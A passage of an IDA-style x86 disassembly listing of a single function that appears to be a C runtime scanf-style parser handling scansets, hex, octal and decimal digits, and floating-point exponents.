[ebp+var_204], ecx mov edx, [ebp+var_204] sub edx, 63h mov [ebp+var_204], edx cmp [ebp+var_204], 18h ja loc_427D2A mov ecx, [ebp+var_204] xor eax, eax mov al, ds:byte_427F9E[ecx] jmp ds:off_427F76[eax*4] loc_426FAB: ; DATA XREF: seg000:off_427F76o cmp [ebp+var_1E8], 0 jnz short loc_426FCC mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax loc_426FCC: ; CODE XREF: sub_426BE0+3D2j movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_426FDD mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_426FDD: ; CODE XREF: sub_426BE0+3F2j mov [ebp+var_1E0], offset dword_4502B0 mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_427060 ; --------------------------------------------------------------------------- loc_426FF1: ; CODE XREF: sub_426BE0+3C4j ; DATA XREF: seg000:00427F8Eo movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_427002 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_427002: ; CODE XREF: sub_426BE0+417j mov [ebp+var_1E0], offset dword_4502A8 mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_427060 ; --------------------------------------------------------------------------- loc_427016: ; CODE XREF: sub_426BE0+3C4j ; DATA XREF: seg000:00427F96o movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_427027 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_427027: ; CODE XREF: sub_426BE0+43Cj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] mov [ebp+var_1E0], ecx mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Eh jnz short loc_427060 mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov dl, [ebp+var_10] sub dl, 1 mov [ebp+var_10], dl loc_427060: ; CODE XREF: sub_426BE0+40Fj ; sub_426BE0+434j ... push 20h push 0 lea eax, [ebp+var_60] push eax call sub_41D100 add esp, 0Ch cmp [ebp+var_C], 7Bh jnz short loc_42709C mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jnz short loc_42709C mov byte ptr [ebp+var_8], 5Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax mov [ebp+var_55], 20h loc_42709C: ; CODE XREF: sub_426BE0+494j ; sub_426BE0+4A3j ... mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jz loc_427207 mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_1EC] and eax, 0FFh cmp eax, 2Dh jnz short loc_4270F8 mov ecx, [ebp+var_8] and ecx, 0FFh test ecx, ecx jz short loc_4270F8 mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Dh jnz short loc_42713E loc_4270F8: ; CODE XREF: sub_426BE0+4FAj ; sub_426BE0+507j mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_60] or cl, al mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov [ebp+edx+var_60], cl jmp loc_427202 ; --------------------------------------------------------------------------- loc_42713E: ; CODE XREF: sub_426BE0+516j mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_8] and eax, 0FFh mov ecx, [ebp+var_1EC] and ecx, 0FFh cmp eax, ecx jge short loc_42717E mov dl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_24], dl jmp short loc_42718D ; --------------------------------------------------------------------------- loc_42717E: ; CODE XREF: sub_426BE0+591j mov al, byte ptr [ebp+var_8] mov byte ptr [ebp+var_24], al mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl loc_42718D: ; CODE XREF: sub_426BE0+59Cj mov dl, byte ptr [ebp+var_8] mov byte ptr [ebp+var_1EC], dl jmp short loc_4271A6 ; --------------------------------------------------------------------------- loc_427198: ; CODE XREF: sub_426BE0+61Cj mov al, byte ptr [ebp+var_1EC] add al, 1 mov byte ptr [ebp+var_1EC], al loc_4271A6: ; CODE XREF: sub_426BE0+5B6j mov ecx, [ebp+var_1EC] and ecx, 0FFh mov edx, [ebp+var_24] and edx, 0FFh cmp ecx, edx jg short loc_4271FE mov eax, [ebp+var_1EC] and eax, 0FFh sar eax, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov edx, 1 shl edx, cl mov al, [ebp+eax+var_60] or al, dl mov ecx, [ebp+var_1EC] and ecx, 0FFh sar ecx, 3 mov [ebp+ecx+var_60], al jmp short loc_427198 ; --------------------------------------------------------------------------- loc_4271FE: ; CODE XREF: sub_426BE0+5DDj mov byte ptr [ebp+var_8], 0 loc_427202: ; CODE XREF: sub_426BE0+559j jmp loc_42709C ; --------------------------------------------------------------------------- loc_427207: ; CODE XREF: sub_426BE0+4C9j mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] test eax, eax jnz short loc_42721A jmp loc_427ECA ; --------------------------------------------------------------------------- loc_42721A: ; CODE XREF: sub_426BE0+633j cmp [ebp+var_C], 7Bh jnz short loc_427229 mov ecx, [ebp+var_1E0] mov [ebp+arg_4], ecx loc_427229: ; CODE XREF: sub_426BE0+63Ej mov edx, [ebp+var_3C] mov [ebp+var_1E4], edx mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_428080 add esp, 8 loc_42724E: ; CODE XREF: sub_426BE0:loc_427390j cmp [ebp+var_1E8], 0 jz short loc_42726B mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_427395 loc_42726B: ; CODE XREF: sub_426BE0+675j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_428020 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 0FFFFFFFFh jz loc_427372 mov ecx, [ebp+var_1D8] sar ecx, 3 movsx edx, [ebp+ecx+var_60] movsx eax, [ebp+var_10] xor edx, eax mov ecx, [ebp+var_1D8] and ecx, 7 mov eax, 1 shl eax, cl and edx, eax test edx, edx jz loc_427372 movsx ecx, [ebp+var_70] test ecx, ecx jnz loc_427361 movsx edx, [ebp+var_64] test edx, edx jz short loc_42734B mov al, byte ptr [ebp+var_1D8] mov [ebp+var_1F0], al mov ecx, [ebp+var_1D8] and ecx, 0FFh mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_42731D mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_428020 add esp, 4 mov [ebp+var_1EF], al loc_42731D: ; CODE XREF: sub_426BE0+720j mov eax, ds:dword_44FD20 push eax lea ecx, [ebp+var_1F0] push ecx lea edx, [ebp+var_4] push edx call sub_42E9D0 add esp, 0Ch mov eax, [ebp+var_3C] mov cx, [ebp+var_4] mov [eax], cx mov edx, [ebp+var_3C] add edx, 2 mov [ebp+var_3C], edx jmp short loc_42735F ; --------------------------------------------------------------------------- loc_42734B: ; CODE XREF: sub_426BE0+6F3j mov eax, [ebp+var_3C] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_3C] add edx, 1 mov [ebp+var_3C], edx loc_42735F: ; CODE XREF: sub_426BE0+769j jmp short loc_427370 ; --------------------------------------------------------------------------- loc_427361: ; CODE XREF: sub_426BE0+6E7j mov eax, [ebp+var_1E4] add eax, 1 mov [ebp+var_1E4], eax loc_427370: ; CODE XREF: sub_426BE0:loc_42735Fj jmp short loc_427390 ; --------------------------------------------------------------------------- loc_427372: ; CODE XREF: sub_426BE0+6ADj ; sub_426BE0+6DBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_428080 add esp, 8 jmp short loc_427395 ; --------------------------------------------------------------------------- loc_427390: ; CODE XREF: sub_426BE0:loc_427370j jmp loc_42724E ; --------------------------------------------------------------------------- loc_427395: ; CODE XREF: sub_426BE0+685j ; sub_426BE0+7AEj mov ecx, [ebp+var_1E4] cmp ecx, [ebp+var_3C] jz short loc_4273D1 movsx edx, [ebp+var_70] test edx, edx jnz short loc_4273CF mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax cmp [ebp+var_C], 63h jz short loc_4273CF movsx ecx, [ebp+var_64] test ecx, ecx jz short loc_4273C9 mov edx, [ebp+var_3C] mov word ptr [edx], 0 jmp short loc_4273CF ; --------------------------------------------------------------------------- loc_4273C9: ; CODE XREF: sub_426BE0+7DDj mov eax, [ebp+var_3C] mov byte ptr [eax], 0 loc_4273CF: ; CODE XREF: sub_426BE0+7C6j ; sub_426BE0+7D5j ... jmp short loc_4273D6 ; --------------------------------------------------------------------------- loc_4273D1: ; CODE XREF: sub_426BE0+7BEj jmp loc_427ECA ; --------------------------------------------------------------------------- loc_4273D6: ; CODE XREF: sub_426BE0:loc_4273CFj jmp loc_427D74 ; --------------------------------------------------------------------------- loc_4273DB: ; CODE XREF: sub_426BE0+3C4j ; DATA XREF: seg000:00427F82o mov [ebp+var_C], 64h loc_4273E2: ; CODE XREF: sub_426BE0+3C4j ; DATA XREF: seg000:00427F92o cmp [ebp+var_1D8], 2Dh jnz short loc_4273F6 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_4273FF ; --------------------------------------------------------------------------- loc_4273F6: ; CODE XREF: sub_426BE0+809j cmp [ebp+var_1D8], 2Bh jnz short loc_42743C loc_4273FF: ; CODE XREF: sub_426BE0+814j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_427421 cmp [ebp+var_1E8], 0 jz short loc_427421 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_42743C ; --------------------------------------------------------------------------- loc_427421: ; CODE XREF: sub_426BE0+82Cj ; sub_426BE0+835j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_428020 add esp, 4 mov [ebp+var_1D8], eax loc_42743C: ; CODE XREF: sub_426BE0+81Dj ; sub_426BE0+83Fj cmp [ebp+var_1D8], 30h jnz loc_4274DE mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_428020 add esp, 4 mov [ebp+var_1D8], eax movsx edx, byte ptr [ebp+var_1D8] cmp edx, 78h jz short loc_42747C movsx eax, byte ptr [ebp+var_1D8] cmp eax, 58h jnz short loc_4274A0 loc_42747C: ; CODE XREF: sub_426BE0+88Ej mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_428020 add esp, 4 mov [ebp+var_1D8], eax mov [ebp+var_C], 78h jmp short loc_4274DE ; --------------------------------------------------------------------------- loc_4274A0: ; CODE XREF: sub_426BE0+89Aj mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax cmp [ebp+var_C], 78h jz short loc_4274B8 mov [ebp+var_C], 6Fh jmp short loc_4274DE ; --------------------------------------------------------------------------- loc_4274B8: ; CODE XREF: sub_426BE0+8CDj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_428080 add esp, 8 mov [ebp+var_1D8], 30h loc_4274DE: ; CODE XREF: sub_426BE0+863j ; sub_426BE0+8BEj ... jmp short loc_42753E ; --------------------------------------------------------------------------- loc_4274E0: ; CODE XREF: sub_426BE0+3C4j ; DATA XREF: seg000:00427F8Ao mov [ebp+var_38], 1 loc_4274E4: ; CODE XREF: sub_426BE0+3C4j ; DATA XREF: seg000:00427F7Ao cmp [ebp+var_1D8], 2Dh jnz short loc_4274F8 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_427501 ; --------------------------------------------------------------------------- loc_4274F8: ; CODE XREF: sub_426BE0+90Bj cmp [ebp+var_1D8], 2Bh jnz short loc_42753E loc_427501: ; CODE XREF: sub_426BE0+916j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_427523 cmp [ebp+var_1E8], 0 jz short loc_427523 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_42753E ; --------------------------------------------------------------------------- loc_427523: ; CODE XREF: sub_426BE0+92Ej ; sub_426BE0+937j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_428020 add esp, 4 mov [ebp+var_1D8], eax loc_42753E: ; CODE XREF: sub_426BE0:loc_4274DEj ; sub_426BE0+91Fj ... cmp [ebp+var_1DC], 0 jz loc_427739 loc_42754B: ; CODE XREF: sub_426BE0:loc_427714j movsx eax, [ebp+var_18] test eax, eax jnz loc_427719 cmp [ebp+var_C], 78h jnz loc_4275E6 cmp ds:dword_44FD20, 1 jle short loc_427586 push 80h mov ecx, [ebp+var_1D8] push ecx call sub_423D90 add esp, 8 mov [ebp+var_208], eax jmp short loc_4275A3 ; --------------------------------------------------------------------------- loc_427586: ; CODE XREF: sub_426BE0+988j mov edx, [ebp+var_1D8] mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 80h mov [ebp+var_208], ecx loc_4275A3: ; CODE XREF: sub_426BE0+9A4j cmp [ebp+var_208], 0 jz short loc_4275D9 mov ecx, 4 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_42EBB0 mov [ebp+var_30], eax mov [ebp+var_2C], edx mov edx, [ebp+var_1D8] push edx call sub_427FC0 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_4275E1 ; --------------------------------------------------------------------------- loc_4275D9: ; CODE XREF: sub_426BE0+9CAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_4275E1: ; CODE XREF: sub_426BE0+9F7j jmp loc_42768D ; --------------------------------------------------------------------------- loc_4275E6: ; CODE XREF: sub_426BE0+97Bj cmp ds:dword_44FD20, 1 jle short loc_427608 push 4 mov ecx, [ebp+var_1D8] push ecx call sub_423D90 add esp, 8 mov [ebp+var_20C], eax jmp short loc_427622 ; --------------------------------------------------------------------------- loc_427608: ; CODE XREF: sub_426BE0+A0Dj mov edx, [ebp+var_1D8] mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_20C], ecx loc_427622: ; CODE XREF: sub_426BE0+A26j cmp [ebp+var_20C], 0 jz short loc_427685 cmp [ebp+var_C], 6Fh jnz short loc_42765D cmp [ebp+var_1D8], 38h jge short loc_427652 mov ecx, 3 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_42EBB0 mov [ebp+var_30], eax mov [ebp+var_2C], edx jmp short loc_42765B ; --------------------------------------------------------------------------- loc_427652: ; CODE XREF: sub_426BE0+A58j mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl loc_42765B: ; CODE XREF: sub_426BE0+A70j jmp short loc_427683 ; --------------------------------------------------------------------------- loc_42765D: ; CODE XREF: sub_426BE0+A4Fj mov ecx, 2 mov eax, [ebp+var_30] mov edx, [ebp+var_2C] call sub_42EBB0 add eax, [ebp+var_30] adc edx, [ebp+var_2C] mov ecx, 1 call sub_42EBB0 mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_427683: ; CODE XREF: sub_426BE0:loc_42765Bj jmp short loc_42768D ; --------------------------------------------------------------------------- loc_427685: ; CODE XREF: sub_426BE0+A49j mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_42768D: ; CODE XREF: sub_426BE0:loc_4275E1j ; sub_426BE0:loc_427683j movsx ecx, [ebp+var_18] test ecx, ecx jnz short loc_4276F8 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1D8] sub eax, 30h cdq mov ecx, [ebp+var_30] add ecx, eax mov eax, [ebp+var_2C] adc eax, edx mov [ebp+var_30], ecx mov [ebp+var_2C], eax cmp [ebp+var_1E8], 0 jz short loc_4276DB mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_4276DB mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_4276F6 ; --------------------------------------------------------------------------- loc_4276DB: ; CODE XREF: sub_426BE0+ADFj ; sub_426BE0+AEEj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_428020 add esp, 4 mov [ebp+var_1D8], eax loc_4276F6: ; CODE XREF: sub_426BE0+AF9j jmp short loc_427714 ; --------------------------------------------------------------------------- loc_4276F8: ; CODE XREF: sub_426BE0+AB3j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_428080 add esp, 8 loc_427714: ; CODE XREF: sub_426BE0:loc_4276F6j jmp loc_42754B ; --------------------------------------------------------------------------- loc_427719: ; CODE XREF: sub_426BE0+971j movsx edx, [ebp+var_68] test edx, edx jz short loc_427734 mov eax, [ebp+var_30] neg eax mov ecx, [ebp+var_2C] adc ecx, 0 neg ecx mov [ebp+var_30], eax mov [ebp+var_2C], ecx loc_427734: ; CODE XREF: sub_426BE0+B3Fj jmp loc_4278DD ; --------------------------------------------------------------------------- loc_427739: ; CODE XREF: sub_426BE0+965j ; sub_426BE0:loc_4278C8j movsx edx, [ebp+var_18] test edx, edx jnz loc_4278CD cmp [ebp+var_C], 78h jz short loc_427751 cmp [ebp+var_C], 70h jnz short loc_4277C9 loc_427751: ; CODE XREF: sub_426BE0+B69j cmp ds:dword_44FD20, 1 jle short loc_427776 push 80h mov eax, [ebp+var_1D8] push eax call sub_423D90 add esp, 8 mov [ebp+var_210], eax jmp short loc_427793 ; --------------------------------------------------------------------------- loc_427776: ; CODE XREF: sub_426BE0+B78j mov ecx, [ebp+var_1D8] mov edx, ds:off_44FE2C xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp+var_210], eax loc_427793: ; CODE XREF: sub_426BE0+B94j cmp [ebp+var_210], 0 jz short loc_4277BC mov ecx, [ebp+var_40] shl ecx, 4 mov [ebp+var_40], ecx mov edx, [ebp+var_1D8] push edx call sub_427FC0 add esp, 4 mov [ebp+var_1D8], eax jmp short loc_4277C4 ; --------------------------------------------------------------------------- loc_4277BC: ; CODE XREF: sub_426BE0+BBAj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_4277C4: ; CODE XREF: sub_426BE0+BDAj jmp loc_42784B ; --------------------------------------------------------------------------- loc_4277C9: ; CODE XREF: sub_426BE0+B6Fj cmp ds:dword_44FD20, 1 jle short loc_4277EB push 4 mov ecx, [ebp+var_1D8] push ecx call sub_423D90 add esp, 8 mov [ebp+var_214], eax jmp short loc_427805 ; --------------------------------------------------------------------------- loc_4277EB: ; CODE XREF: sub_426BE0+BF0j mov edx, [ebp+var_1D8] mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_214], ecx loc_427805: ; CODE XREF: sub_426BE0+C09j cmp [ebp+var_214], 0 jz short loc_427842 cmp [ebp+var_C], 6Fh jnz short loc_427832 cmp [ebp+var_1D8], 38h jge short loc_427828 mov edx, [ebp+var_40] shl edx, 3 mov [ebp+var_40], edx jmp short loc_427830 ; --------------------------------------------------------------------------- loc_427828: ; CODE XREF: sub_426BE0+C3Bj mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_427830: ; CODE XREF: sub_426BE0+C46j jmp short loc_427840 ; --------------------------------------------------------------------------- loc_427832: ; CODE XREF: sub_426BE0+C32j mov ecx, [ebp+var_40] mov edx, [ebp+var_40] lea eax, [edx+ecx*4] shl eax, 1 mov [ebp+var_40], eax loc_427840: ; CODE XREF: sub_426BE0:loc_427830j jmp short loc_42784B ; --------------------------------------------------------------------------- loc_427842: ; CODE XREF: sub_426BE0+C2Cj mov cl, [ebp+var_18] add cl, 1 mov [ebp+var_18], cl loc_42784B: ; CODE XREF: sub_426BE0:loc_4277C4j ; sub_426BE0:loc_427840j movsx edx, [ebp+var_18] test edx, edx jnz short loc_4278AC mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+var_40] lea eax, [edx+ecx-30h] mov [ebp+var_40], eax cmp [ebp+var_1E8], 0 jz short loc_42788F mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx cmp [ebp+var_1C], 0 jnz short loc_42788F mov dl, [ebp+var_18] add dl, 1 mov [ebp+var_18], dl jmp short loc_4278AA ; --------------------------------------------------------------------------- loc_42788F: ; CODE XREF: sub_426BE0+C93j ; sub_426BE0+CA2j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_428020 add esp, 4 mov [ebp+var_1D8], eax loc_4278AA: ; CODE XREF: sub_426BE0+CADj jmp short loc_4278C8 ; --------------------------------------------------------------------------- loc_4278AC: ; CODE XREF: sub_426BE0+C71j mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_428080 add esp, 8 loc_4278C8: ; CODE XREF: sub_426BE0:loc_4278AAj jmp loc_427739 ; --------------------------------------------------------------------------- loc_4278CD: ; CODE XREF: sub_426BE0+B5Fj movsx edx, [ebp+var_68] test edx, edx jz short loc_4278DD mov eax, [ebp+var_40] neg eax mov [ebp+var_40], eax loc_4278DD: ; CODE XREF: sub_426BE0:loc_427734j ; sub_426BE0+CF3j cmp [ebp+var_C], 46h jnz short loc_4278EA mov [ebp+var_6C], 0 loc_4278EA: ; CODE XREF: sub_426BE0+D01j cmp [ebp+var_6C], 0 jz short loc_427938 movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_427936 mov edx, [ebp+var_34] add edx, 1 mov [ebp+var_34], edx loc_427901: ; CODE XREF: sub_426BE0+D70j cmp [ebp+var_1DC], 0 jz short loc_42791A mov eax, [ebp+var_3C] mov ecx, [ebp+var_30] mov [eax], ecx mov edx, [ebp+var_2C] mov [eax+4], edx jmp short loc_427936 ; --------------------------------------------------------------------------- loc_42791A: ; CODE XREF: sub_426BE0+D28j movsx eax, [ebp+var_38] test eax, eax jz short loc_42792C mov ecx, [ebp+var_3C] mov edx, [ebp+var_40] mov [ecx], edx jmp short loc_427936 ; --------------------------------------------------------------------------- loc_42792C: ; CODE XREF: sub_426BE0+D40j mov eax, [ebp+var_3C] mov cx, word ptr [ebp+var_40] mov [eax], cx loc_427936: ; CODE XREF: sub_426BE0+D16j ; sub_426BE0+D38j ... jmp short loc_42793D ; --------------------------------------------------------------------------- loc_427938: ; CODE XREF: sub_426BE0+D0Ej jmp loc_427ECA ; --------------------------------------------------------------------------- loc_42793D: ; CODE XREF: sub_426BE0:loc_427936j jmp loc_427D74 ; --------------------------------------------------------------------------- loc_427942: ; CODE XREF: sub_426BE0+3C4j ; DATA XREF: seg000:00427F86o mov edx, [ebp+var_20] mov [ebp+var_40], edx movsx eax, [ebp+var_70] test eax, eax jnz short loc_427952 jmp short loc_427901 ; --------------------------------------------------------------------------- loc_427952: ; CODE XREF: sub_426BE0+D6Ej jmp loc_427D74 ; --------------------------------------------------------------------------- loc_427957: ; CODE XREF: sub_426BE0+3C4j ; DATA XREF: seg000:00427F7Eo lea ecx, [ebp+var_1D0] mov [ebp+var_1E0], ecx cmp [ebp+var_1D8], 2Dh jnz short loc_427986 mov edx, [ebp+var_1E0] mov byte ptr [edx], 2Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax jmp short loc_42798F ; --------------------------------------------------------------------------- loc_427986: ; CODE XREF: sub_426BE0+D8Aj cmp [ebp+var_1D8], 2Bh jnz short loc_4279B3 loc_42798F: ; CODE XREF: sub_426BE0+DA4j mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_428020 add esp, 4 mov [ebp+var_1D8], eax loc_4279B3: ; CODE XREF: sub_426BE0+DADj cmp [ebp+var_1E8], 0 jz short loc_4279C5 cmp [ebp+var_1C], 15Dh jle short loc_4279CC loc_4279C5: ; CODE XREF: sub_426BE0+DDAj mov [ebp+var_1C], 15Dh loc_4279CC: ; CODE XREF: sub_426BE0+DE3j ; sub_426BE0+E82j cmp ds:dword_44FD20, 1 jle short loc_4279EE push 4 mov ecx, [ebp+var_1D8] push ecx call sub_423D90 add esp, 8 mov [ebp+var_218], eax jmp short loc_427A08 ; --------------------------------------------------------------------------- loc_4279EE: ; CODE XREF: sub_426BE0+DF3j mov edx, [ebp+var_1D8] mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_218], ecx loc_427A08: ; CODE XREF: sub_426BE0+E0Cj cmp [ebp+var_218], 0 jz short loc_427A67 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_427A67 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_428020 add esp, 4 mov [ebp+var_1D8], eax jmp loc_4279CC ; --------------------------------------------------------------------------- loc_427A67: ; CODE XREF: sub_426BE0+E2Fj ; sub_426BE0+E3Fj movsx ecx, ds:byte_44FD24 movsx edx, byte ptr [ebp+var_1D8] cmp ecx, edx jnz loc_427B64 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_427B64 mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_428020 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1E0] mov dl, ds:byte_44FD24 mov [ecx], dl mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax loc_427AC9: ; CODE XREF: sub_426BE0+F7Fj cmp ds:dword_44FD20, 1 jle short loc_427AEB push 4 mov ecx, [ebp+var_1D8] push ecx call sub_423D90 add esp, 8 mov [ebp+var_21C], eax jmp short loc_427B05 ; --------------------------------------------------------------------------- loc_427AEB: ; CODE XREF: sub_426BE0+EF0j mov edx, [ebp+var_1D8] mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_21C], ecx loc_427B05: ; CODE XREF: sub_426BE0+F09j cmp [ebp+var_21C], 0 jz short loc_427B64 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_427B64 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_428020 add esp, 4 mov [ebp+var_1D8], eax jmp loc_427AC9 ; --------------------------------------------------------------------------- loc_427B64: ; CODE XREF: sub_426BE0+E97j ; sub_426BE0+EABj ... cmp [ebp+var_6C], 0 jz loc_427CC9 cmp [ebp+var_1D8], 65h jz short loc_427B84 cmp [ebp+var_1D8], 45h jnz loc_427CC9 loc_427B84: ; CODE XREF: sub_426BE0+F95j mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx test ecx, ecx jz loc_427CC9 mov eax, [ebp+var_1E0] mov byte ptr [eax], 65h mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_428020 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 2Dh jnz short loc_427BEE mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx jmp short loc_427BF7 ; --------------------------------------------------------------------------- loc_427BEE: ; CODE XREF: sub_426BE0+FF2j cmp [ebp+var_1D8], 2Bh jnz short loc_427C2D loc_427BF7: ; CODE XREF: sub_426BE0+100Cj mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jnz short loc_427C12 mov edx, [ebp+var_1C] add edx, 1 mov [ebp+var_1C], edx jmp short loc_427C2D ; 